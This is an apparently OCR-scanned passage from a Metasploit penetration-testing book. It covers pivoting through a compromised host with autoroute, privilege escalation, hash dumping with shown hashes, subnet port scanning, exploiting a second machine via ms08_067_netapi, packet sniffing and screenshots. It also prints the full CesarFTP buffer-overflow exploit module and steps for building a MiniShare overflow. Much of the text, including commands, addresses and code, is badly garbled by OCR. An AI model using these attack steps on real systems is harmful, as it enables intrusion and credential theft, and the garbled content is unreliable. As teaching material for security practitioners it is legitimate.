10.233,.25%.2533 2535.235.235.255% 16.10.18.1
127.8.8.0 255.0,0.0 127.8,0.1
152.168.0.0 255.255,255.0 192.168.6.118

192, 168.0. 110 £33.255.255.435 12T.8.0.]1
182.168.0.255% 25%5.255.255.255% 192.168.9.118
I24.0.8.0 240.6.0.0 10.10.108.1
234 .0.0.0 240.8.0.0 192.168.6.118
2155.255.255.255 255.255.255.255 16.16.10.1
255.255.255.255 255.255.255.255 192.168.6.114

Now our plan is to attack this additional network. For this attack, Metasploit
has a post exploitation script, which is known as autoroute. This script
allows us to attack the second network using the first compromised system.
Using this script we can attack the second network from this compromised
system. Type in run autoroute -h and it will show all usage commands of
the script.

terpreler = run sutordute -

[*] Usape: run sutoroute [-r] -5 subnet -n netsask
[*] Examples:

run autoroute -4 10.1.1.0 -n 355,255.355.0 & Add a route To 1@, 10.10

LAESS. 285, 205 0

[=]  fun autorpute -5 10.10.18.1 # Hotmash defaults to 2335
«2%3,25%.8

[*] ©un autorgute -5 10.10.10.1724 ® CIDA mozatien 1% also o
kay

[*]  run autoroute -p # Print active routing ta
ble

=1 rsn autoroute -d -5 16.18.16.1 # Deletes the 16.10.10.1r

25%.255.255.0 route
[*] use the =“route” and “ipfonfig” Meterpreter commands to Learm aboul aval
lable routes
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4. Here we are using run autoroute -s 10.10.10.1/24; running
this command will add a route to the target machine from our
compromised system.

File Edit View Bookmarks Settings Help

meterpreter ={ run autoroute -s 10.10.10.1/24
[*] Adding a route to 18.10.10.1/255.255.255.0...

Added route to 10.10.10.1/255.255.255.0 via 192.168.0.118
[*] Use the -p option to list all active routes

root : .ruby.bin

5. Now, we can see in the preceding screenshot that a route has been added
via 192.168.0.110, which is our compromised system. Now we will verify
whether our route has been added or not by typing in run auroroute -p.

BETErpreter »|run autoroute -p

Active Routing Table

T Ta—

Subnet Netmash Gateway

18.10.14,1 433.253.433.0 session ]

peterpreter = [

6. We can see in the screenshot that our route has been successfully added in
the routing table. Next what we have to do is to escalate the privileges of the
compromised system. For this, we type in getsystem.

...qul system (via technique 1].

Ireterpreter > |
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7. After escalating the privileges of the compromised system, we can now
dump the hashes of all users and get their passwords. To do so, we type
in run hashdump.

neterpreter >
[*] obtaining the boot key...
[#] Caleulating the hboot key using SYSKEY cOedT0easBes?
fdéfbaTeBbocIod?5fd. ..

[*] Obtaining the wser List and keys...

[*] Decrypting user keys...

[*] Dumping password hashes. ..

Administrator:500: sebdddeiBdcTecdIaadibdishili04ee: Ta2zls
901 cd3d75994 ledSc490 7 143451 : 11

Guest: 561 aad3ba3503 l4Bdeeand3b43505 1 48428 - 31dbic febdlfae
A31bT IS TelcEDc; ; :

Helpassistant: 1009; 226560da23f422500829c f5fanaesfal ed32
693070E0036bazb04 774 3abdbell s

SUPPORT 38804520 :1002:aad3bd35b5140deeaadibaisbs1404ee:6
coce3efcdbl93ln2eq 15T fpa%efocas: o

fVictim: 1093 aad3b435b51484ecaad3b435051404e8; I1dGe febdls
add31bTIcSdTalcbiSet: : :

peterpreter = i

8. After successfully dumping the credentials, we will background our
meterpreter process by pressing Ctrl + Z and then pressing Y.

meterpreter >
Background session 17 [y/N]
msf exploit(msed8 067 netapi) > Jj
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9. The next thing we do is to scan the second network address to check whether
the other systems are online or not, and also check for open ports. So we
perform a TCP port scan by using an auxiliary module. For this, we type in
use auxiliary/scanner/portscan/tcp.

exploit{msie_667 _netapl) »fuse auxiliary/scanner/portscan/Tcp
ppl  auxiliaryitcp) =

10. Now type in show options and it will show all the options of this module
that are usable for this module.

Ahow opElond

pdule options {ausiliary/scasner/portscan/topd

Al mocilisryftcpl) =

[ITLE] Carrent Setiisg Required Depcriptlon

(ONCURRENCY LD FEs The nusher of concurrent ports to ch
Jech por hoot

FILTER no The filrer strimg Tor capturing traf
Tie

INTERFACE 5] The nase of Lhe inlefTace

PCAPFILE A The name of the PLCAP chpture TLl® o
prooess

PONTS 1- 10000 el Ports to scan (e.g. 12-25 54, 110-500
|

FHOSTS ek Thee Targel address rnge or CIDR 1oe
ntifier

THAPLEN G35XY FEL The nusbsr ol byles 1o caplure

THREADS 1 fLad The mumber of concurnent threads

TIMEOUT Ioea g The sofkel consech timeaut in mEllis
S0 8

11. Now we will set our target address range in the RHOST options. So, type
in set rhosts <target IP range>; for example, here we are using set
rhosts 10.10.10.1/24.

auxiliary{tcp} »[set rhosts 18.10.10.1/24 |
gt == 10.10.10. 1524
msf auxiliaryitcp) = |}

ms §
rha
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12. Next, set the port numbers that we are looking for. Here we are looking for the
most common ports that are found open in a computer system. So type in set
ports <port number>; for example, here we are giving set ports 139,445.

mst auxiliary(tcp) >|5€t ports 139,445
ports =» 139,445

msf auxiliary(tcp) > |

13. Next we will set the concurrent thread's number for scanning the TCP ports.
So here we are giving threads 50 by typing in set threads 50.

threads == 58

msf auxiliaryitcp) > |}

14. Now our auxiliary module is fully loaded for scanning. The last and final
command we are going to execute is the run command. So, type in run.

mE! auxiliary(fcp) = run
| 18.18,18.1:139 - TCP OPEN

1| 16.10.10.2:139 - TCP QFEN

11 16.108.16.2:445 - TCP OPREN

| 18.10.16.1:445 - TCP OPREN

] scanned @36 of 256 hosts (818% complete)
| Scanned 853 of 256 hosts (@20% complete)
| Scanned 877 of 2568 hosts (930% complebe]
| Scanned 164 of 258 hosts (040% complele)
| scanned 138 aof 2%b6 hosts (853% compléete)
]

|

|
]

|

|
f

Scanned 154 of 256 hosts (960% complete)
Scanned 188 of 258 hosis (678% complele)
*] Scanned 285% of 256 hosts (658% complele)
scanned 231 of 2%6 hosts (@98% complete)
Scanned 256 of 256 hosts {100% complete)
Aupiliary module execulion completed

auxiliary(tcp) = |}
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We can see in the preceding screenshot that our auxiliary TCP module scanner has
been started and it found that two systems are online having an IP of 10.10.10.1 and
10.10.10.2, and also found two open ports on that system 139 and 445. Here the IP
10.10.10.1 is already compromised so our target is IP 10.10.10.2.

So now we are going to use an exploit for exploiting another system. The exploit

we are going to use has already been used in the Chapter 3, Exploitation Basics; so

we know very well the process for using this exploit. Now let us start; type in use
exploit/windows/smb/ms08_067_netapi and press Enter. Then type in set rhost
<target IP>; for example, here we are using set rhost 10.10.10.2.

Bookmarks Setfings

mst
msf expleit(ms@8 067 netapi) >|set rhost 19.18.10.2

rhost => 10.10.10.2
msf exploit{ms08 667 netapi) > JJ

root : .ruby.bin

After setting the target IP, now set the payload for compromising the target system.
This time we are using windows/meterpreter/bind_tcp payload for attacking. So
type in set payload windows/meterpreter/bind_tcp.

msf exploit(mstd 067 netapi) =52t payload windows/meterpreter/bind

payload == windows /meterpreter/bind top

All things are now ready for the attack, so type in the deadly exploit command.

mif eExploit{=edl 0A7 netapi] = exploit
Started bind handler

Automatically detecting the target...

Fingerprint: Windows XP - Service Pack 2 - Lang:English

selected Target: Windows XP SPZ English (Alwaysln HX)

{*] Attempring to trigger the vulnerability..

1*] _S&n - F hyEes)

|* ]| Meterpreter session 2 opened [192,168.0.104-192.168.0.118:0 -> 10.10.18,.2:4444)
at LH13-W3-L4 14431 +d5Jd

peterpreter =
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After triggering the exploit command, we can see that meterpreter session 2
has been opened on IP 10.10.10.2. We already had session 1 from our compromised
system; through that compromised system we were able to compromise another
system in the network.

Now let us check the system to see whether we have compromised the correct
system or not by checking its properties. So type in sysinfo.

meterpreter = sysinfo

Computer : PWNED-B82526E037

0s : Windows %P (Build 2688, Service Pack 2).
Architecture : x86

System Language : en US

Meterpreter : xB6/win32

meterpreter = JJ

We can see in the screenshot that the system has the name PWNED, so now we are
going to verify this name.

Sysiem Properties ElEl

System Restare Automatic Updates Remote
Genelal Computer Name Hardveare Advanced
Syaten
Microzalt \Windowe »P
Prolessional

.-"I- t f ".-’erri.mm
ny |

———— WE_'HH
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Sniffing in a network

After pivoting the network, we are now moving to another topic where we will learn

how to sniff in a network by using meterpreter post exploitation scripts. Before
using the sniffer, we must load the sniffer extension in the meterpreter session. So

type inuse sniffer.

use sniffer

meterpréter »

Lﬂﬁljlﬂ-g extenslon SN1TTEr...SUCCESS.

meterprater > [

We can see in the screenshot that our sniffer extension has been successfully
loaded by meterpreter. Before using sniffer, we must know the sniffer usage
commands; for that, type in help in the meterpreter session and it will show all the
meterpreter commands. There you will find all sniffer usage commands as shown

in the following screenshot:

View

Sniffer Commands

Command

sniffer dump
sniffer _interfaces
sniffer start
sniffer stats
sniffer stop

meterpreter = ||

Retrieve captured packet data to PCAP file
Enumerate all sniffable network interfaces
Start packet capture on a specific interface
View statistics of an active capture

Stop packet capture on a specific interface
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Now, we can see all the commands for the sniffer script. Firstly, we will enumerate the
network interface on which we will start our sniffer. So type in sniffer interfaces.

i - "AMD PCNET Family PCI Ethernet Adapter’ [ fype:D mtuildid usable
rorue dhcprfalse wirizfalse )

= “AMD PCNET Family PCI Ethermet Adapter’ [ type:® mtu:l314 usable
ttrue dhcpifalse wifi:false )

terpreter > |

After enumerating the network interfaces, it's time to select an interface and run the
sniffer on that network interface. Type in sniffer_start <Interface number>; for
example, here we are selecting interface number 1, so we type in sniffer_start 1.

jreterpreter »{snifter start ]

| Capture started on interface 1 (50000 packet buffer)
|meterpreter >

Now we can see that our sniffer is in action and has started capturing packets on
interface 1. So let us check the captured packet status on interface 1 by typing
in sniffer_stats 1.

[meterpreter >
§1*] Capture statistics
packets: 9l
bytes: 14511

[zeterpreter > [}
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We can see that uptill now we have captured 91 packets of size 14511 bytes. Now
we want to dump or save the captured packets for further analysis, so we type in
sniffer_dump <Interface no.> <file name for save in pcap extension>;
for example, here we are using sniffer_dump 1 hacked.pcap.

peterpreter =fsniffer dump 1 hacked.pcap

[*] Flushing packet capture buffer Tor 1nterface 1...
[*] Flushed 156 packets {28809 bytes]

[*] Downloaded 186% (28E09/28889). ..

[*] Download completed, converting to PCAP...
[*] PCAP file written to hacked.pcap
meterpreter >

Now we will analyze this captured packet file with the famous packet analyzer and
capturing tool, known as Wireshark. So open a new terminal and type in wireshark

<captured packet file name>; for example, here we are using wireshark
hacked.pcap.
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After executing the wireshark command, we can see the Graphical User Interface of
the Wireshark tool.

HanHaiPr_al:?cigl Broadcast ARP B0 Who has 152,
3 1, DO000G D-LinkIn 2bred:is HoriMalPr el:fciBl Bpg B0 192, 188,00, 1
4 3000000 feB0: a3l atad- o o e S50 208 M- SERACH =
5 6.000000  {eBO::DS91-alad-IAd: 102 e =50 208 M. SEARCH * F
& 6. 000000 D-LinkIn #hred: 15 HonHa1Pr el:7c:@l iz 50 who has 182.
7 §,000000 193, 168.0,100 187, 168. 0, 755 BROWSER W3 Host Announc
R 8. 000000 1693 168.0,100 162, 168 0. 355 DR=LSP«1 154 Dropbox L&N
G 10.000000  feB0r 2SIl catadraERar ffoer e SR O MOSEARCH @
10 13,000000  fe80:: 353 1atad;2eaar o2 e E5iNe 208 M. SEERCH

feno: - 253 salaz zmaa s fo2: e

Frane 1; 28 bytes on wnre (1664 bits), 208 bytes captured [1664 bits)

Ftharnet 11, Src; HonHaaPr ?d:bize0 (00;36:5e:Td:bf:e0), Det: TPvBacast O0:00:00:0c (33

Intarnet Protocol Yergion &, Srcd fel0 i S3lialad:2a2a:: 0584 (fabBn: i 2530 aladi 20241 9534}
] I
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There is also another way of sniffing and capturing packets without loading the
sniffer extension in meterpreter. This is also a meterpreter postexploitation script
known as packetrecorder. Type in run packetrecorder and it will show all the
usage commands for packetrecorder.

pelErpreter > |run packefrecorde

Heterpreter SCTIPT T0 AT 0 packets in to & PCAP file
an a target host given a interface ID.

OPTIONS:

h Help meni.

-1 =opt> Interface ID number where all packet capture will be donea.

-1 <opt> Specify and alternate folder to save PCAP file.

-1 List interfaces that can be used for capture.

-t «<opft> Time interval in saconds between recollection of packet, de
fault 38 seconds.

We can see all the usage options for packetrecorder. So first of all we will
enumerate the network interfaces, which are available for sniffing by typing in run
packetrecorder -li.

rpreter = (run packetrecorder -11

1 - "AHMD PCNET Family PLI Ethernet Adapter® [ Type:0 miuilSld usable:true
dhcp: false wifi:false )
2 + '"AMD PCNET Family PCI Ethermet Adapter® [ type:0 mtu:l3dld usable:true
dhcp: false wifi:false )

meterpreter = |

Now we can see that we have two network interfaces available. Select an
interface for running our sniffer on that. So type in run packetrecorder
-i 1 -1 /root/Desktop.
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The usage syntax is explained as follows:

e i stands for interface number

* I stands for location for saving the captured packet file

peterpreter =frun packetrecorder -1 1 -1 /root/Deskiop
[*] Starting FACKeEl Capiure off LATErTace 1
P r r
i*]|Packets being saved in t6 /root/Desktopflogs /packet recorderfPWNED-B8252
BEA3T 20130521, 1105/ MANED -02526E03T 20030521, 1105 . cap
i*] Packet capture interval is 38 Seconds
M
[*] Interrupt
Stopping Packet sniffer. ..
peterprater = |

After running the packetrecorder script, as shown in the preceding screenshot, the
packets are being saved at the location /root/Desktop/logs/packetrecorder. Let
us check the directory in our system.

b packetrecaorder
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Espia Extension

Espia extension is also another interesting extension, which we have to load in
meterpreter before using it. So type in load espia.

Bookmarks Settings Help

meterpreter [ Toad espial

Loading extension espia...SUCCESS.

meterpreter = []
El root : .rubyhin

Our espia extension has been successfully loaded by meterpreter as we can see in
the previous screenshot. Now type in the command help in meterpreter and it will
show you the available usage commands in this extension.

Espia Commands

Attempt to grab screen shot from process's active deskiop

meterpreter = |

We can see that there is only one command available in the espia extension, that is,
screengrab. Using this command we can grab a screenshot of the compromised

system. Type in screengrab.

ilable (required by fusr/libflibstreanmanalyzer.so.8)

SusrfbinSn-wei-browser: Jopt/eetasploit/common/lib/libxnll.50.2: fo version i
ed by Susr/lib/libstreamanalyzer.so.0)

Jusr/bin/E-wihi-browser: Jopt/metasploit/common/1ib/1ibxnl2.50.2: no version LR
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In the screenshot we can see that the captured screenshot is saved into the root
directory. So let us check whether the screenshot is saved or not in the root directory.
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Summary

In this chapter we have covered the various techniques through which we can
leverage our point of contact server/system on the external network, and leverage
it to exploit other systems. Since the point of contact system had another network
card for connectivity with the internal network, we used this to pivot our way from
the external to the internal system. Hence, once we had connectivity to the internal
network, we were able to exploit it as well through our exploitation techniques
covered in the previous chapters. The next chapter will deal with learning the art of
exploit writing using Metasploit.

References

The following are some helpful references that shed further light on some of the
topics covered in this chapter:
e http://www.offensive-security.com/metasploit-unleashed/Pivoting
* http://www.securitytube.net/video/2688

e http://www.offensive-security.com/metasploit-unleashed/
Packet_Sniffing
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Exploit Research
with Metasploit

Exploit, in very simple words, is a piece of code or a collection of commands
specifically written in a typical format that takes advantage of a vulnerability or
weakness in the software/hardware and causes unanticipated behavior to occur.
This unintended behavior may be in the form of a system crash, denial of service,
buffer overflow, a blue screen of death, or the system being unresponsive. When
we talk about exploits, we have something known as a zero-day exploit. A zero-day
exploits a security vulnerability on the same day the vulnerability gets known. This
means that developers have zero days to address and patch the vulnerability. These
are used by attackers to attack vulnerable systems before the developer of the target
software knows about the vulnerability.

¢ \>

Image take from http://static.itpro.co.uk/sites/itpro/files/styles/gallery_wide/public/security_exploits.jpg

Exploit writing tips and tricks

In this chapter we will focus on using Metasploit for exploit development. There are
a large number of exploits already available in Metasploit, which may be edited and
used for our purposes during the exploit-development exercise.
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Important points

There are a few important points that need to be kept in mind while writing exploits
for the Metasploit Framework:

Transfer most of the work to the Metasploit Framework
Use Rex Protocol libraries

Use the available mixins extensively

Badchars declared must be 100 percent accurate

Ensure that the payload space is highly reliable

Make use of randomness whenever possible
Randomize all payloads by using encoders

When generating padding, use Rex: :Text.rand_text_*
(rand_text_alpha, rand_text_alphanumeric, and so on)

All Metasploit modules have a consistent structure with hard-tab indents
Fancy code is harder to maintain anyway
Mixins provide consistent option names across the Framework

Proofs of concepts should be written as Auxiliary DoS modules and not
as exploits

The final exploit reliability must be high

Format for an exploit

The format for an exploit in the Metasploit framework is similar to that of an
Auxiliary module, but it has more fields. There are a few important things that need
to be kept in mind while formatting exploits:

A payload information block is absolutely necessary
There should be a listing of the available targets

The exploit() and check() functions should be used rather than the
run() function
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Now we demonstrate a simple Metasploit exploit to show how it is written:

require “msf/core”
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE

We begin our exploit module by including the MSF core package. This is followed
by a class declaration and function definitions. In our example, we include a plain
TCP connection, so we use Msf: :Exploit: :Remote: : Tcp. Metasploit has handlers
for HTTP, FTP, and so on, which help in building exploits faster since we do not
need to write the entire exploit ourselves. We need to define the length and badchars,
and then define the targets. Target-specific settings also need to be defined, such

as the return address and the offset. Then we need to connect to the remote host

and port and build and write the buffer to the connection. Once the exploit hits the
connection, we handle the exploit and then disconnect.

A typical Metasploit exploit module consists of the following components:

* Header and some dependencies

* The core elements of the exploit module, which are:

require "msf/core”

[e]

class definition
° includes

°  "def" definitions
initialize

check (optional)
exploit
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Here is a screenshot of our Metasploit exploit:

Exploit mixins

Mixins are best known for their usefulness in adding functionality to a module.
Based on Ruby, which is a single-inheritance language, the mixins provide support
for multiple inheritance. For good exploit development, it is very important to
understand and efficiently use the mixins since Metasploit makes use of mixins to a
large degree. Mixins are not specific to a module category though they appear under
the one that most closely defines them. Hence we can make use of the exploit module
mixins in Auxiliary modules and vice versa.

The Auxiliary::Report mixin

In the Metasploit Framework, we can make use of the Auxi liary: :Report mixin
to save the host, service, and vulnerability information into a database. This has
two inbuilt methods, namely report_host and report_service, that are used to
indicate the status of a host and a service (the status indicates whether the host/
service is working or not). To use this module, we need to include this mixin into
our classes by using include Auxiliary::Report.

Hence we can make use of this mixin for saving any information into the database.
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Widely used exploit mixins

The widely used exploit mixins are explained as follows:

Exploit: :Remote: : Tcp: This provides the TCP functionality and methods

to the module. It aids in setting up a TCP connection using connect() and
disconnect(). It creates sel f.sock as the global socket and offers SSL,
Proxies, CPORT, and CHOST. It uses parameters such as RHOST, RPORT, and
ConnectTimeout. It's code file is located at lib/msf/core/exploit/tcp.rb.

Exploit: :Remote: :DCERPC: This mixin provides utility methods for
interacting with a DCERPC service on a remote machine. These methods
are generally useful in the context of exploitation. This mixin inherits from
the TCP exploit mixin. It uses methods such as dcerpc_handle(), dcerpc_
bind(), and dcerpc_cal1(). It also supports IPS evasion methods with
multicontext BIND requests and fragmented DCERPC calls. It's code file is
located at lib/msf/core/exploit/dcerpc.rb.

Exploit::Remote: : SMB: This mixin provides utility methods for interacting
with an SMB/ CIFS service on a remote machine. These methods are
generally useful in the context of exploitation. This mixin extends the TCP
exploit mixin. Only one SMB service can be accessed at a time using this
class. It uses methods such as smb_login(), smb_create(), and smb_peer_
os(). It also supports options like SMBUser, SMBPass, and SMBDomain. It
exposes IPS evasion methods such as SMB: :pipe_evasion, SMB: :pad_data_
level, and SMB: : file_data_level. It's code file is located at 1ib/msf/
core/exploit/smb.rb.

Exploit::Remote: :BruteTargets: This mixin provides brute-force attacks
on the targets. Basically it overloads the exploit() method and calls
exploit_target(target) for each target. It's code file is located at lib/
msf/core/exploit/brutetargets.rb.

Exploit::Remote: :Brute: This mixin overloads the exploit method and
calls brute_exploit() for each step. It is best suited for brute-force attacks
and address range. The address range is a remote brute-force exploit mixin
and is best suited for brute-force attacks. This provides a target aware brute
forcing wrapper. It calls the brute_exploit method with the supplied
address. If this is not a brute force target then the single_exploit method
is called. The code file of Exploit: :Remote: :Brute is located at 1ib/msf/
core/exploit/brute.rb.
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Editing an exploit module

A good way to understand how an exploit module is written is to first edit one.
We edit the module located at opt/metasploit/msf3/modules/exploits/
windows/ftp/ceaserftp_mkd.rb.

[ Notes by the author are shown after a # sign. ]

Hit
# $1d: cesarftp_mkd.rb 14774 2012-02-21 01:42:17Z rapid7 $
Hit

##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the
Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

##

require "msf/core”

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote: :Ftp

def initialize(info = {3})
super (update_info(info,
"Name* => "Cesar FTP 0.99g MKD Command
Buffer Overflow",
"Description” => %g{
This module exploits a stack buffer overflow
in the MKD verb in CesarFTP 0.999.

You must have valid credentials to trigger
this vulnerability. Also, you

only get one chance, so choose your target
carefully.

}.
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"Author*® => "MC*,
"License” => MSF_LICENSE,
"Version*® => "$Revision: 14774 $-,
"References” =
L
[ "CVE", "2006-2961"],
[ "OSvDB", "263647],
[ "BID", "18586"],
[ "URL®, "http://secunia.com/
advisories/20574/" 1],
1.
"Privileged” => true,
"DefaultOptions” =>
{
"EXITFUNC® => "process”,
¥,
"Payload” =
{
"Space* => 250,
"BadChars®™ => "\x00\x20\x0a\x0d",
"StackAdjustment® => -3500,
“Compat* =
{
"SymbolLookup® =>
"ws2ord”,
}
¥,
"Platform” => "win",
"Targets” =
L

[ "Windows 2000 Pro SP4 English®, {
"Ret” => 0Ox77el4c29 } ],

[ "Windows 2000 Pro SP4 French®, {
"Ret” => 0x775F29D0 } ],

[ "Windows XP SP2/SP3 English”, {
"Ret™ => Ox774699bf } ], # jmp esp, user32.dll

#[ "Windows XP SP2 English”, {
"Ret” => 0x76b43ae0 } ], # jmp esp, winmm.dll

#[ "Windows XP SP3 English”, {
"Ret” => Ox76b43adc } ], # jmp esp, winmm.dll

[ "Windows 2003 SP1 English®, {
"Ret” => Ox76AA679% } 1,

1.
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"DisclosureDate” => "Jun 12 2006",
"DefaultTarget®™ => 0))

end
def check
connect
disconnect
if (banner =~ /CesarFTP 0\.99g/)
return Exploit: :CheckCode: :Vulnerable
end
return Exploit::CheckCode: :Safe
end

def exploit
connect_login

sploit = "\n" * 671 + rand_text_english(3, payload_
badchars)

sploit << [target.ret].pack("V") + make_nops(40) + payload.
encoded

print_status("'Trying target #{target.name}...")

send_cmd( ["MKD", sploit] , false)

handler

disconnect

end

end
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Working with payloads

While working with payloads, we need to select an encoder that does not touch
certain registers, must be under the maximum size, must avoid badchars, and should
be selected according to their ranking.

Next are the Nops Generators, which should be selected with the most random Nop
first. Also, they are ranked according to their effectiveness and should be selected
accordingly. Following is a list of payloads:

e msfvenom - It is a combination of both msfpayload and msfencode. Itis a
single tool that has standardized command-line options and good speed.

Usage: Jopt/metasplolt/msfl/msfvencr [options] =var=val=

Options

-p,; --payload [paylaad] Payload to use. Specify a “-° or stdinm te u
se custom payloads

L. list [module type] List a module type example: paylosds, cncod
ars, naps, atl

-n, =-nopsled [Yength] Prepend a nopsled of [length] size on to th
¢ payload

1. format [ format ] Format Lo outpult results in: raw, ruby, rb,

perl, pl, bash, sh, ¢, js be, js le, jawva, dll, exe, exe-small, elf, macha, vba
, vha-exe, vbhs, loop-vbs, asp, war
-g, --encoder [encoder] The encoder to use
a, arch [architecture] The architecture Lo wse
-=platform [platform]
The platform of the payload

%, --SpACE [Length] The maximum size of the resulting payload

tr, bad-chars | List] The List of characters Lo avold example: °
xBEhaff

-, ==iterations [count] The number of times to encode the payload

-¢, =--add-code [path] specify an additional wind2 shellcode file
to include

-%, --template [path] specify a custom edecutable file tTo use as
a template

-k, --keep Preserve the template behavior and inject t
he payload as a new thread

<h, =-help show this message

[231]



Exploit Research with Metasploit

* msfpayload: It is a basic command-line instance of Metasploit that is used
to generate and output all of the shell code that is available in Metasploit.
It is most commonly used for the generation of the shell code for an exploit
that is not currently present in the Metasploit Framework. It is even used
for working with and testing different types of shell code and options while
working with exploit modules.

msfpayload -h

Usage: Jopt/metasploit/mafismsfpaylond [<eptions=] <payloads [varsval] <[5]u
mrary || [Pjarl|Rubly] |[R]aw| [X]s|elX]e] (D]LL] [VIBA] [W]ar=

DPTIONS:
h Help banmer
-1 List available payloads

* msfencode: This is another great payload in Metasploit's arsenal for exploit
development. Sometimes it becomes difficult to use shell code generated

straight out of msfpayload; therefore, it has to be encoded.

Usage: fopts/metasplodit/msfismsfencode coptions=

JHFTIONS:

=3 =opt> The architecture to encode as

b =opts The List of characters to avold: “eaehsff’

c wapi= The number of Times to encode the data

«f =apt= Specity the difectory in which 1o Llook for EXE Lemplates
-8 copts The enfoder 1o usa

<h Help banner

1 =opt= Encode the contents of the supplicd file path

k Keiep tesplate working; run payload fn new thread [use with -x)
-1 List available encoders

-m =apts Gpecifiss am additiomal madule ssarch path

n bump encoder information

o =opt= The ocutput file

=p =apt= The platform to encode Tar

-5 SOpTe The maximes si7e of the encoded datha

=T «gpt> The owtput Tormat: raw,ruby,roperl, pl,bash,sh,c,}s be, ] Le java,
JiLL, exe, exe-small, e1f, macho, vba, vba-exe, vbs, Loop:vbs, asp, war

v Inerease werbosity

=x «opts Specily an alternate executable tenplate
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Writing exploits
In this part, we are going to write a small exploit for Minishare Version 1.4.1. First
create a file on the desktop with any name and save it as a Python extension file. For

example, we create a file named minishare.py. Next, just write the exploit code on
that file. The code is shown in the following screenshot:

minishare.py - KWrite

Tools Settings Help

We write the code shown in the screenshot in the minishare . py file and save it.
Now we can run our exploit against our target machine, on which we have already
installed the Minishare software. Open the terminal and execute the minishare.py
file from the directory where the file is located. So type in ./minishare.py <target
IP>; for example, here we are using ./minishare.py 192.168.0.110.
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After executing the exploit, we see that Minishare has crashed, as shown in the
following screenshot:

. MiniShare 1.4.1

Filenarme Full Path | shared Path
Drag and drop files or folders here.

minishare.exe

minizhare_exe haz encountered a problem and needs to
close. We are zormry for the inconvenience.

[f pau were in the middle of something, the infarmation you were working on
might be |ozt,

Pleasze tell Microzoft about this problem.

“We have created an eror report that you can zend to us. We will treat
thiz report as confidential and anonymous.

T zee what data this error repart containg, click here.

Send Emor Repart Dan't Send

Next, we move on to use a very useful Metasploit utility known as pattern_create.
rb. This is located in the Metasploit's tools folder as shown in the following
screenshot. Using this script will generate a string composed of unique string patterns.
Hence we can replace our present buffer pattern by creating a random pattern using
this script.
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rootibt: & od Joplfeelasploil/msl3/Lools
roatght : fopt/eetasplolt /msafi toalsy s
context

|mendunp

reotiebt: fopt/metasploit/mefa toolse JJ

We type in ruby pattern_create.rb 2000 and then press Enter. This creates a
random string pattern for us, which can be used to cause the buffer overflow and
figure out the exact memory location for the overflow.

rootiibt: fopt/metasploit/msfd/ tooles
AﬁﬂhﬂIﬂa?ﬁa]ﬁndnaﬁﬁaﬁna?ﬁaﬁnnghhﬁlb 1 FLAELT NOAE TRIEANIR oA 1A 2ACIACAAE SA
:iﬂ&TH:Bﬁ:ﬂﬁdﬂﬂd1ﬁd2&dlhd4ﬂulﬂd!ﬁﬂ?ﬂdﬂﬁIiﬂtﬂﬁ:lHEiH:iHEQAEhHEiﬂMFHEBH&EAfﬁﬁflﬂf
dafaafanfonfoaf rafaalaigiaglig2aaIagaAn5A0bag TAgEAgIARBAN LARZARIAR4ARSARGARTARE
ARTALOAL TALZAL IATAALSATEAL TALBAT A BA) LAY 2R AATAA ] SATEA] TA] BA)SARBARTARZ ARTAKLA
Kotk EARTARDARSALOGALLALZALIALJALSALBALTALBAL SAnEAm LAnZ And And A Sand An T AnB AR S AN DAN
Lan2AnIAndARSANGAN TARBANTAOBAG1AD ZAGIACAADDAODAD TADBACIADDADLARZAD JADAAD DADGAD T
ApdApangiag lAG2AGAGIALSAGEAG TAGRAGDATAAr LAF2ZAr JAFSArSAFGAF TAFBAFOAS DAL 1A% 2834
SOAASASOA L TALBASSATAAT TAL ZAT TALLAT SAYGAL TATAAL SARAL T AR Au MAudAnSAuliu TAuBASAY
BAv1AYZAVIAYAAVIAYEAY TAVE AT AWT AW LA AW 3 And A DAwbAW T Aw AW A BAN LA AN JAR AR AN G
o TAx BBy BAY LAY ZAY Ty Ay JAyGAY TAYBAYSAZRAT 1Az JA 3AZdAZSAZOAZ TAZEAZOBa0EA 1BAZE
aI0adRailatBa T RaABaSRLOAL 1 BEYALABLANLS ALERLTBLERLAR: Blc 18 2Ac WRc 4B Shc AR TRc Al
GEdaBd1Ed 280 3B048d S BA6Ed TBOBEd9BeBRr 180 2Be S84 Be S Bea B TReSBeoB foB Tl 16T 284 3614814
gfoBfTEfaBfIByddg1BgIBgIBg4Bg5Bg6EgTBgEBOOEhARN] Bh2BhIBh4BRSERGBNTEREBhSBLEE1 1B
LR AAEANESALANI TR ARIOA (AR 10|20 040 50|60 | TR 00 SRLO0K ] AKIDRIBRIALSALANKTAK
sekaplesl1BL2E1381481 58160181801 SEntBnl BalBasbnd Bal Babta ] BAEEsIBNEEN LENZBNIENS
EnSEnGENTENEENSB08B0 ] Bo2Bo3Bo-4805B0080 TBoBE0SBpEEp1Bp XBp3BpIBpI8pEER T BPE B YBQEE
fl8q2 80 10q4Eq5Rq6Eq TREqEEqIRrear1Br 28r 3B rdBrSEréRrTErERri@s0As 18 2R IR 4B SO 60
JEsHESELORLIET 2t IE RS LENL TELEETREUOEu I BulBudbusBustudBu T iudBuIbvaivIBvaEva
EvaBvSBVEEY TBvEEVY Bwiil 1 BuZ B 3B BWOBwWE BW 1 BWE Bw i 08 L Bx 2B 2B 4B S Buhdx TR BB 9E
iRy 1By 20y 3By 4By SEy Ry TBYERYyIATOET 187 2B IRz 4B SEGEZ TR AAFSCABCA1CA I ASCA4CASCE
GLaTCaBCaaCboChl b 2ChaChdCh i ChaChTChaChOCcOlc e eI CedleSCofCeTCeBCedtdacdld2
CAdICd4CdsCdeCdfCdacdsCenl s 10e2Ce30ealesCebleTCebleal fRCTICF2C fICFACTRCfECFICTAL
T9CgeCgl{g2CeICa4CasCabiCg7 ol e ChECh 1ChRChACRAChSCREChTCRECRICABCIICI2C 1301401
SCABCATCIACIBCIBC 11020 ACT4L SCI6C)TC{BCI9CkACKICKZCRICKACKICRECKTCRACKIC1OLL1
ClaCl3cl4ciscleCiclecl9taiin]l CR2CmItnd Cnoinb Cn T CRACRBC AN 1 CN2CN3C A0S CHECN 7L
nACn9CoklaliorCadadCasio

root@bt : fopt /metasploit /et tocls# ]
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We then replace our original string pattern in the buffer with the random pattern just
generated. Hence we again have a buffer of random strings that can be used to cause
the buffer overflow in the Minishare software.

